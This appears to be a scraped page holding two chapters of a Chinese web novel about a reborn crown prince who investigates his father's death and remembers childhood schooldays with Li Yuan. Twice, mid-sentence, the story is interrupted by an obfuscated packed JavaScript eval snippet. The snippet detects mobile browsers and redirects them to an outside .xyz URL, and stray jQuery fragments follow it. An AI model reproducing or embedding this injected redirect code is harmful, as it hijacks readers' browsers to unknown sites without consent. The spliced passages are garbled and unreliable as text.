《流年二十春》
3. 归来曲(贰)
初日照林,扰人清梦。
小桌子倚靠树干,站立睡着,眼皮触及光亮,他睁开惺忪双眼,醒来的恍惚感,险些叫人偏了身子,摔到在地。
他眼疾手快,扶住站稳。
人也顺势清醒了。
意识回归的这一眼,让他的心脏又要提到嗓子眼。
太子殿下躺在土坑边,席地而睡,枕着一处野草,竟睡着了,不拘一节的模样,衬着一张貌若天仙的脸,好叫人欲哭无泪。
晨起风凉,小桌子脱了衣服,想给殿下盖上。
纵使布料粗陋了些,但有总比没有好。
刚有解束带的动作,被风声惊扰的太子殿下忽地睁了眼,将他吓得当即勒紧裤腰带,一连退后数步。
奚舟虽睁了眼,眼色却出奇讷然,呆躺了许久,不知望向何处,突然轻声道:“太阳。”
小桌子双耳立起,全神贯注,听到这话,不明所以地重复一遍:“……太阳?”
奚舟问:“牢狱里为什么会有太阳?”
“殿下在说什么呢?”小桌子不解,“这里不是牢狱,而是皇宫,皇宫里自然会有太阳。”
话说完,奚舟蓦然盘腿坐起,白净脸颊上,还沾有几处极不雅观的泥点。
这般作态又将小桌子吓一大跳
奚舟抬起头,认真看着眼前的人,恳求道:“你掐我一下。”
小桌子瞪大眼:“不可不可!殿下,这万万使不得啊!”
抗拒显而易见,再求便成了无理取闹。
奚舟放弃为难他,伸出手指,抵着右脸,下定决心,狠狠一拉。
他眼睛一亮,与小桌子对视,笑起来:“好痛啊。”
小桌子呆在原地,理解不能,动弹不得。
奚舟心情大好:“继续挖坑吧!”
毕竟只有四只手的参与,昨日进程可谓迟缓至极。
该加快速度了。
太子殿下拿起铁锸,燃起斗志。
深浅不一的土坑边,摆着模样凄惨的先帝尸体,安安静静,却死不瞑目。
小桌子望得胆寒,他难以去联想,太子殿下是如何做到心态良好地与一具死了半年的尸体同枕而眠的。
踌躇片刻,他沉重咽了口唾沫,鼓足微弱的勇气,发问:“殿下,陛下是病重而逝的吗?”
奚舟停下动作。
停了一会儿,才道:“是啊。”
嘴上这么说,但他早已心生困惑。
景明十六年冬,先帝重病难捱,宫中太医皆无良方可医。
景明十七年春,各地名医快马赶至玄都,进宫问诊,先帝病情因此好转,但仅仅五日,先帝又在一夜间急病缠身,从此卧榻不起,不省人事。
但急病缠身的那一日,奚舟从未亲眼目睹是何境况。
现在看来,当时的先帝已经死了。
小桌子:“那为何……”
说到这儿,他有所顾虑,言语略有迟疑。
“什么?”奚舟追问。
小桌子:“为何陛下不仅五脏俱废,并且经脉寸断,这般死相,不像病逝,反倒像被人残忍刺杀,而且此人,定是一品以上的高手。”
奚舟听得恍惚一阵:“你只看一眼,便能看出那么多?”
小桌子:“奴才在入宫前,与老仵作学过仵作之术,本想以此谋生,谁知家中境况每况愈下,才入宫做了阉人。”
他又强调:“这并非是奴才看出来的,只是想起了天下仵作皆知的一桩悬案,名为陵城案。”
对方口中所说,是奚舟格外熟悉的事。
往日的陵城境内,贪腐风气盛行,官府狼贪虎视,嚣张跋扈,剥削百姓口粮,一城有良田千亩,却遍地民不聊生。
景明十五年冬,大雪纷飞,陵城衙门内,静得离奇。日上三竿,有一顽皮幼童推门而入,见到衙门府邸内横尸遍野,大堂血溅三尺,雪地上却无半点血迹,只插着一把染血的断剑。
唯一被断剑所杀的尸体,身份为陵城贪官之首徐尚文。
其他尸体面色发黑,嘴唇煞白,死相蹊跷。当地仵作解剖才知,这些人的五脏六腑皆为内力震碎,经脉俱裂,纵使当下发现尸首,也无半点生还可能。
小桌子:“也是在那时候,人们才知道,武者的上限并非是以一敌百的剑术与来去自如的轻功,而是杀人于无形,藏匿于无影。”
“类似的案子在陵城案后,还出现过两起,都未留下足迹,衙门猜测是一人作案,因为此人杀的都是无恶不作的官宦,民间便开始喊他……”
奚舟轻声,接上后话:“陵城剑侠。”
小桌子一惊:“殿下也听过此事?”
奚舟点点头:“我看过民间为陵城剑侠编纂的话本。”
说完,他极快地眨了眨眼,好似慌神,问:“所以小桌子你认为,我父皇是陵城剑侠杀的?”
对方则是摇了摇头:“不止是陵城剑侠,任何一个一品以上的武者,皆能杀人于无形。”
说完这句话,他亲眼见得,殿下的神情明显像松了一口气。
“殿下不希望陵城剑侠是凶手?”
奚舟神色僵硬一瞬。
陵城剑侠若是杀害他父皇的凶手,便代表对方一定对自己也恨之入骨,后果他不愿去想,但如果不是剑侠所为,他便还有与其和睦相见的机会。
可这么说出来,像是胳膊肘往外拐。
奚舟轻抿唇瓣,转移话题:“小桌子,你认为是何人杀了我父皇?”
小桌子:“奴才不敢妄言。”
奚舟:“此处又无第三人,你只与我说,只要不得罪我,便不算妄言。”
说完,又呸了一声。
呸完,太子殿下言之凿凿地强调:“得罪我也不算妄言。”
小桌子沉默片刻,终于开口:“清楚皇宫构造,能进入陛下寝殿的,至少是玄都境内有所名望的大人物,与该形象吻合的大人物里,突破一品境界的只有一位,便是……”
他顿了顿,继续说:“李将军。”
不是的。
奚舟在心里纠正。
整个京城里,突破一品造化的武者还有一位。
只是此人心思太重,藏得太深,以至于很长一段时间无一人知晓。
丞相之子谢道怀。
一想到这个名字,那些不堪记忆便又冲撞上来,奚舟狠掐发抖的手臂,拉回渐渐抽离的神智。
这是属于他的第二次人生。
那些该忘却的,他要通通忘个干净。
即使抛却一切,奚舟依然认为,不与小桌子说起此事,才最为妥当。
若真是谢道怀所为,那他们强行介入,只会遭来更可怕的祸事,将此事永远咽进肚子里,当做无事发生,才是明智之举。
就算与小桌子说了,他也无法理解自己为何如此惧怕此时身无官职的谢道怀。
还会给无辜之人引来杀身之祸。
他思绪飘远时,听见小桌子匆忙解释:“并非是奴才有意要怀疑李将军,只是玄都境内已无第二种可能。”
“不管对错与否。”奚舟收回烦杂念头,笑了笑,“总要试一试。”
……
平敞官道上,一辆华贵马车扬尘疾驰。
到达将军府,马车慢下来,从车上跳下来一位美人,容貌艳丽,肤色白皙,衣摆与脸侧却有泥点煞风景。
门前武侍目不斜视,站立如松,直至看清太子相貌,纷纷跪地。
奚舟:“帮我禀报李夷则,就说我要见他,其他不用多说。”
武侍们应允时,发觉蹊跷之处不止太子的奇装异容,还有太子身后只一人的随从。
前几日的太子,离开皇宫出行时,可是坐着最豪华的金辇,带上了最多的人马,浩浩荡荡行在官道上,让玄都子民在官道两侧俯首跪拜,奢靡至极。
负责通报的武侍动作极快,没一会儿,有一老翁快步走来,白发苍苍,却步履矫健,上来迎接:“奴才是这府邸里的管家,殿下请随奴才往里走。”
奚舟欣然跟从,与老翁行过后院长廊时,视线落向满院花色,粗心大意间,与一人猛然冲撞。
看清来人相貌后,二人四目相对,一时凝噎。
奚舟忍住破口大骂的冲动,大喊对方名字:“李三让!”
李三让脸色扭曲,他心中诸多不愤,碍于眼前人尊贵身份,无法抒发,只得憋闷道:“别喊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588774|171784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我这个名字。”
“那该叫你什么?”看他不畅快,奚舟心情大好,打趣道,“李不让吗?”
李三让气得握拢拳头,又很快松开:“太子殿下来干什么?”
“找……”奚舟话到嘴边,吞下去,变了个腔调,笑了一下,“反正不是来找你。”
“我当然知晓殿下并非是来寻我,但也为一事感到十分好奇。”李三让讽道,“只带一位阉人出行,不似殿下平日里的高调作风啊。”
“所以呢?”奚舟不喜不怒,反问,“这样不好吗?”
他看着李三让,眼色极为认真。
李三让盯着面前这双眼眸,入了神,一时茫然。
他从未见过对方展露这样的神色。
这副不像蠢货的样子,倒叫他憋不出话来了。
沉默一会儿,他说:“李夷则在箭亭。”
奚舟眼睛一亮,竟然上手,用力一拍李三让的肩膀:“李三让,你这个人,偶尔还挺善解人意的嘛。”
当李三让从震惊回神时,长廊已空无一人。
奚舟早已跑远了。
……
池边树下,簇拥春花。
箭亭正中。
身着玄黑束袖骑装的男子身姿英挺,面容英俊,眼色冷冽间,拉弓引箭,射向远处,激起一阵急风。
第一箭,直中靶心。
第二箭箭势更急,刺穿了前一箭的箭柄,又深深刺入木靶深处。
奚舟压低声音,说悄悄话:“父皇有可能是被这一箭射穿的吗?”
小桌子认真解答:“殿下,虽然将军的射艺也能做到瞬间杀人,但如果有人因箭矢而死,是一定会留下伤口的。”
奚舟恍然大悟,点了点头,表示赞许。
“那么……”
“太子殿下!”
近旁位置,有人厉声出口。
出声之人名叫崔不惑,他与围绕箭亭的数位武侍一般,站得威风凛凛,神色严肃,见奚舟投来目光,他正色道:“将军正在练箭,箭亭需要保持绝对的肃静。”
崔不惑,大梁上一任大将军李无相操办的武校中脱颖而出的佼佼者,获得军职官位后,却自愿成为李夷则的手下,并对其忠心耿耿。
此人还有一个特点。
就是非常讨厌奚舟。
该特点让崔不惑在整个大梁都极为有名,在奚舟前一世喜怒无常任性至极的脾性之下,此人依然能做到不屈不挠地死犟,因此被戏称为“大梁第一犟种”。
该称呼一半是对崔不惑既厌又惧的人在喊。
另一半,则让对奚舟敢怒不敢言的朝廷武官们有了发泄口。
上一世的奚舟看一眼崔不惑,登时就要气急攻心。
但这一世的奚舟,决定好好悔改。
他循循善诱:“小崔,你为什么讨厌我啊?”
对方沉默良久。
终于开口:“我比你大了……”
又是漫长的停顿。
直至奚舟面露困惑,崔不惑努力调整面部扭曲之处,艰难挤出两个字,“三天。”
奚舟:“……”
这是重点吗?
无论如何,奚舟选择尊重:“崔不惑,为什么你每一世都那么讨厌我呢?”
“我并非是讨厌太子。”崔不惑并未注意话中蹩脚之处,“只是对于某些有碍规矩的行为,实在看不过眼。”
不是对他这个人有意见就好。
奚舟松了口气,扭过头,与崔不惑面对面,转而道:“我们握手言和如何?现如今我已经改过自新,彻底放弃上辈……以前的自己了。你若是不信,可以……”
他停下言语。
因为在他眼前,崔不惑的表情急速转换,极为标准恭敬地行了一个大梁军礼。
奚舟听见他接着喊道:“将军!”
话音未落,奚舟感到一个温热的怀抱,从背后紧紧拥住了他。
李夷则未卸下射箭时的护腕与手套,皮革硬邦邦的,尽管隔了两层外衣,诡异的触感依然硌得发痒。
当然,奚舟已无暇顾忌此事。
由于昨晚挖坑太累,他好像……
快被李夷则抱晕了。
4.游春曲(贰)
看清眼前人是小孩,奚舟逃学的心虚抛之脑后。
但他贵为太子,给一个刚见面的同龄人行跪拜礼,着实不妥。
想到这儿,他急忙站起,掸去衣摆尘土。
出口问:“你也不想念书吗?”
眼前与他年纪相仿的孩童,鼻子生得高挺,眸色偏浅,不似寻常的大梁长相,年纪尚幼,已初露俊相。
那人避而不答,只淡然道:“我要进去。”
奚舟顺着视线望去,只看见那堵想谋害自己性命的红墙。
“你少唬我。”他念念有词,“这里只有墙,哪里有可以进的门?”
话才说完,那不知姓名的孩童已不再看他,利落地跳上宫墙,又极快跳下。
瞬间无影无踪。
姿势之流畅,与他方才的狼狈攀爬全然不同。
奚舟在原地看愣了,久久震惊,无法抽身。
这还是他头一次看到同龄的习武者,并且已将轻功练得炉火纯青。
他顿时来了兴致。
墙外的光景,远不及飞檐走壁的话本大侠来得有趣。
绕了一大圈,他回到学堂正门。
将近门口,一片静谧里,听见闲言碎语。
至少有三个人,正在这扇门后议论什么。
一人起调:“李渊快进来了!别发呆了!”
在他这话后,被催促的人感到不耐,拉长尾音道:“我知道了,知道了!”
“别喊他李渊。”这个声音听来极有威严,像是领头之人,他呵斥道,“他是哪里来的野种,也配姓李。”
越听越困惑,奚舟索性不再听。
他用力把门一推,一桶冷水倾泻而下,自上而下,将奚舟浇了个透彻。
水滴入眼眶,刺痛不已。
他闭着眼睛,将黏了水的湿发撩到耳后,处理湿透了的衣衫,顾不得身边不断的杂音,也忘记了喊叫。
自然也没听见那三人再次说起的小话。
有人发问:“李三、三让,这、这不是太子殿下吗……”
有人绝望:“完了完了……”
“别喊我李三让。”有一人却无比淡定,斥责完称谓,压低声音,语调流露不屑,“谁不知道我朝太子是光有脑子不会用的蠢货,七岁背篇诗文还磕磕绊绊的,此事随口唬他一句,保准能糊弄过去。”
……
眼皮的不适逐渐消失,奚舟终于睁开眼睛。
方才的三人,有一人消失不见,只剩两人跪倒在地,向他行礼致歉。
其中一人脑袋点地,缓缓解释:“太子殿下,我等这是无心之举,这桶凉水,本来是要泼在李渊身上的,但他不知为何改道而行,水才不幸泼到了殿下的身上,这全是李渊的过错啊!”
话里的信息量过大,奚舟盘算了好一会儿。
被水淋湿的脑子,在努力思考后,果断选择了相信。
大步迈开,要出发去兴师问罪。
很快,他小步退回,神色有些尴尬:“那个……李渊是谁啊?”
二人一路将奚舟带到学堂小院。
急风飘过,吹落绿叶。
有个小孩握着笤帚,背对三人,正在仔细清扫亭间寥寥无几的落叶。
奚舟打了个喷嚏。
方才的冷水,将他泼得脸颊与鼻头都泛了红,春寒料峭,让他在寒风中止不住发抖,越想越气。
他快步上前,拽住此人肩膀。
出口的言语冷得发颤,神色却带着一股神气的倔意。
奚舟对着迟到被罚清扫落叶的李渊,厉声命令他:“衣、衣服给我。”
李渊回过头。
奚舟瞪大双眼。
他松开手,惊声道:“怎么是你?”
……
月凉如水,宫墙之下,行过人流。
作为父皇少年时的挚友,赵叔父常常入宫觐见,与奚舟的父皇聊政务,谈兵法,亦或是扯些年少时的鸡毛蒜皮。
母亲死后,父皇又忙于政务,奚舟成了没人看管的野孩子。
在这期间,唯有赵叔父疼爱奚舟,常来与他玩耍。
在晚夜寒月下,奚舟披了一件稍大一号的衣服,皱着一张小脸,可怜兮兮的。
“所以说,我被那两个人骗了!”
赵呈象俯着身子,与其平视:“小舟为何这么说?”
“分明是他们捉弄别人,弄巧成拙,淋了我一身水,却欺瞒我是别人过错,害我气冲冲找人算账,又在学堂里出了大糗……”
“小舟。”赵呈象出声,阻止他继续下文。
奚舟抬起头,安静看着他。
赵呈象:“你是太子,将来是坐龙椅成大事之人。”
“所以呢?”
“所以……”赵呈象摸摸他的头,“你不该将他们当作朋友,你也绝不会是他们的朋友。”
奚舟不懂:“那我是他们的什么?”
赵呈象:“你是他们的主人。”
“主人……”奚舟呢喃一遍,依然不解,“是什么意思?”
“主人的意思就是……”
咔——
嚎叫忽起,又转瞬消逝。
赵呈象站起身来,掐住身边侍卫的脖颈,施加内力,猛地拧断。
他的武功,虽未挤入一流行列,却也是三品高手,这一下出手,让侍卫先是目露茫然,随即痛苦挣扎,最后用眼神苦苦恳求,却还是被拧断脖颈,绝望咽了气。
此番景象,仅仅用了半分钟。
赵呈象松开手,原本直直站着的侍卫忽然像没了骨头,轰然倒地,睁着空洞的眼,目视前方,一动不动。
他笑起来,接上上一句话:“是掌管生杀。”
奚舟呆在原地,看着死不瞑目的那双眼睛,说不出话。
他才七岁,还从未见过死人。
赵呈象又俯下身,将他遮眼的额发别到一边,轻声缓缓道:“而真正强大的权势是让人明知死亡将近,想到却不是反抗,而是苦苦求饶。”
“小舟,你要做帝王。”他强调,“他人怕你,才是对的。”
夜黑风高,宫人提着的火灯,熄灭一盏。
奚舟眼前,也蓦然黑了一处。
……
翌日,奚舟从邻桌嘴中听闻,主导泼水之事之人,名为李三让,也是大将军李无相的儿子。邻桌说完,将其概括为兄弟相争。
而兄弟相争,是再寻常不过的事。
听见此话,他心中只有不明所以。
他绝不会与小宴相争,就算小宴宁愿看那些枯燥的书本,也不愿同他说话。
又过三日。
晨光熹微,潇潇雨落。
昨夜已下了一夜的大雨,李渊的课桌被人扔在了门外,桌上陈列的书卷随地乱扔,雨打风吹,此时被泥水浸透,残缺不堪。
这一天,李渊打趴了一地学堂学生,个个鼻青脸肿,被揍出门外,摔在院中的书桌上,在雨中哭爹喊娘,疼得嗷嗷叫唤。
李渊端立堂内,滴雨未沾,只有衣角染上灰尘。
李三让人缘极好,又是将军之子,这学堂里,一半人与他真心交友,一半因畏惧他而助长他作恶。
正因如此,原本拥堵的学堂,竟只剩下两人。
雨声沙沙,响起春雷。
奚舟却充耳不闻,坐得端正,托着腮,全神贯注,盯紧李渊背影。
雨停风弱,潮湿不散。
李渊被夫子叫去罚站,奚舟则被留下温书。
才翻了一页书,他的视线便默默瞟向狼狈倒了一地的同学。
听太医说,李渊下手之惨烈,让这些人至少一月无法动弹,但又没有留下任何一处能落下顽疾的伤势。
甚至还能勉强说话。
奚舟戳了戳被揍得最靠前的邻桌:“疼吗?”
只戳一下,便听得对方撕心裂肺叫唤,疼痛程度,不言而喻。
奚舟:“李渊是个怎么样的人啊?”
“他、他不是人、人……”邻桌口含血气,吐字极慢,模糊不清,“是、是怪物……”
奚舟又问:“那你害怕他吗?”
“我、我……”
对方犹疑许久,不愿启齿。
奚舟眼眸一闪,看着前方,大喊:“李渊!”
倒地众人痛呼出声,皆捂着脸,以手作足,试图爬行逃跑。
奚舟抿唇勾起。
他所看的前方,实则空无一人。
……
夫子禀报惨烈情状后,大梁将军李无相亲自前来处理残局,看到挂彩最多的亲儿子,心中唯有叹息。
“李无相。”王世松与他半道遇上,听说这等稀罕事,便来瞧个热闹,他双手合十,负在背后,像是看黄金一般,盯着远处罚站的李渊,“你从垃圾堆里捡了个宝啊。”
李无相:“你跟来做什么?”
“别跟我装傻了。”王世松一捋胡子,啧啧称奇,“这孩子的天赋世间罕见,突破一品境界不过是时间问题,你是想借他,来遂你一生未了的心愿吗?”
李无相自二十岁升上一品后,瓶颈至今,得不到半点进步,突破一品对他而言,是天方夜谭。
正因如此,当他看到李渊的奇高习武天赋时,的确不可避免产生了惜才之心。
但是他收养李渊的理由,并非这般浅薄。
“当然不是。”李无相的视线,望向更远的前方,“只是大梁的昌盛,需要一个足够强大的将军。”
……
初夏悄至,学堂院落之中,池水漾光,蝶落艳花。
对着进门之人,众人皆惧七分。
唯有奚舟眼眸一亮,喊道:“李渊!”
他一寸一寸,慢慢向对方挪近。
与其相邻坐下后,他扬眉浅笑,好心开口:“新桌子没搬来之前,你可以先用我的。”
他又将书卷搬过来:“书也全部给你。”
李渊凝眸低头,桌上卷成一团糟的书卷,几乎全是空白的。
夏去秋来,秋去冬来。
又来到第二个春
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594704|171784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日。
这一年里,奚舟尽职尽责做着李渊的邻桌,比如,他放弃了夫子讲学时折兔子的爱好,因为用来折兔子的书卷,通通送给了李渊。
夕阳斜落,他从睡梦中醒来。
李渊站起身,马上要离开。
奚舟喊:“李渊。”
往常奚舟喊他,他并非总是有所反应的,但这一次,李渊不仅回了头,还罕见地开了口。
语气不喜不怒,只是询问:“你为什么……总要缠着我?”
“因为你那天打完架后,学堂的所有人都怕你。”
奚舟低下头,轻声补充:“我也想让别人怕我。”
常人说来蹩脚的理由,因为是眼前这个人嘴里说出来的,便是如假包换的真言。
听完回答,眼前人转头,又要走。
奚舟抬头回神时,对方已走到院落,他来不及感慨,小跑几步,追上去拉住李渊手臂。
对方与他四目相对,他大脑则一片空白,随口胡诌道:“本、本太子今天受伤了……需要有人照顾!”
李渊:“伤在哪里?”
这一下,将奚舟彻底问懵了。
“伤在……”
坏了,这个忘记编了。
奚舟沉吟几秒,茅塞顿开:“是腿!你还记得去年我爬墙摔倒吗?那次我就受伤了,今天我顽疾复发,完全不能走路了。”
他装作可怜巴巴地,却用威逼利诱的语气,补充下文:“宫人们都不在这儿,本太子命令你,必须送我回宫。”
对方充耳不闻,淡声说:“你方才是跑过来的。”
说着便又要走。
奚舟的力气比不过李渊,强拉硬拽也很快被挣脱,看着李渊无情的背影,他彻底没了办法。
他的帝王大业今日绝对又要失败而终了。
眼神忽闪间,他的视线,落在近处一块沉甸的石块上。
李渊走出几步,听见一声嗓音熟悉的惨叫。
他回头。
看见奚舟蹲在地上,着急忙慌地,将什么东西背在了身后。
沉闷一声响,东西摔在地上。
漂亮的眼眸里,盈满了快要溢出的泪花,只是主人正在强撑着,让它们不流下来。
再往下看,脱了一半的靴子,裸/露出瘦白的一截小腿,已浮起青红的肿块。
见他转头如此迅速,对方将眼泪胡乱一擦,努力把哭腔咽回去,指着肿块,语气不乏心虚地扬声争辩:“你看吧!我没有骗你,我的腿真的受伤了……”
……
奚舟靠在李渊背上,被人背着,稳稳向前行进。
为了自己的帝王大业,他继续给对方拍马屁。
“李渊。”他说,“你是我见过最厉害的大梁小孩。”
“我不是大梁人。”
“那你是哪里人?”
“不知道。”
“你为何不是大梁人。”奚舟思索道,“你不是李将军的儿子吗?”
“不是。”
奚舟嗯了一声,尾音上挑,表示困惑。
“我杀了人,进了大牢,他把我赎出来。”李渊淡声道,“作为报答,他让我做他儿子。”
这是什么鬼道理?
不过……
原来李三让的愤懑不满,皆是出自亲生父亲的偏心。
他为何讨厌自己的名字,现在终于也有了答案。
奚舟问:“你想做将军吗?”
李渊:“不想。”
“但是我想让你做将军。”他拉过李渊的下巴,与对方几乎脸贴着脸,眼睫扑扇得厉害,“我可以给你用不完的金银财宝,你当将军保护我吧,好不好?”
李渊不答,脸一动不动,保持与人近得过分的姿势,反过来问:“你与谁说话,都挨得那么近?”
“不啊。”奚舟神气道,“我只与我赏识的人这样说话。”
“你还赏识了谁?”
奚舟移开脸,腾出一只手来,开始掰手指,掰了半天,只按下去一根,他有些挫败,但不得不承认:“目前、目前……只有你一个。”
李渊沉默不语。
奚舟又恳求:“你当将军吧!”
对方还是不理他,他晃了晃腿,用较为激烈的动弹表示不满。
“会掉下去的。”李渊终于开口。
这话很实用,奚舟一下怕了,将李渊的脖颈,搂得极紧。
但另一方面,他又生着闷气,于是将头拧到了另一边。
静了片刻,李渊说:“这世上可没有八岁的将军。”
奚舟睁大双眼,难以置信:“所以你是答应了吗?长大后,就会做我的将军。”
满怀期待的他,在话音落下的几秒后,听见一声淡淡的嗯。
比起李渊一如既往的淡定,奚舟比以往更加激动:“那就说好了,以后本太子指哪,你打哪,肯定没有人是我们的对手!”
景明八年春,玄都境内,满城春景。
燕飞莺啼,暖阳和煦,一片其乐融融。